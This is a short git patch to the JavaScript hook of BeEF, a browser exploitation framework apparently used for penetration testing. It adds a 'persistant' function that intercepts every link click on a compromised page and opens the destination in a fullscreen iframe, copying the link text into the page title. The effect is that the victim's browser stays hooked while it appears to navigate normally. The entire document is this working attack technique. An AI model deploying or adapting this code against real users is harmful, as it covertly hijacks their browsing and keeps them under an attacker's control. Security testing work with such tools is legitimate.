From 72dcea23511976dacc5e0b7fabfb108c04db635b Mon Sep 17 00:00:00 2001 From: passbe Date: Wed, 15 Dec 2010 10:07:04 +0000 Subject: [PATCH] Created first draft of link persistance. git-svn-id: https://beef.googlecode.com/svn/trunk@607 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/beefjs/session.js | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/modules/beefjs/session.js b/modules/beefjs/session.js index b64836fed..3efa26a70 100644 --- a/modules/beefjs/session.js +++ b/modules/beefjs/session.js @@ -54,7 +54,23 @@ beef.session = { } return hook_session_id; + }, + + /** + * Overrides each link, and creates an iframe (loading the href) instead of following the link + */ + persistant: function() { + $j('a').click(function(e) { + if ($j(this).attr('href') != '') + { + e.preventDefault(); + beef.dom.createIframe('fullscreen', {}, $j(this).attr('href')); + $j(document).attr('title', $j(this).html()); + } + }); } + + };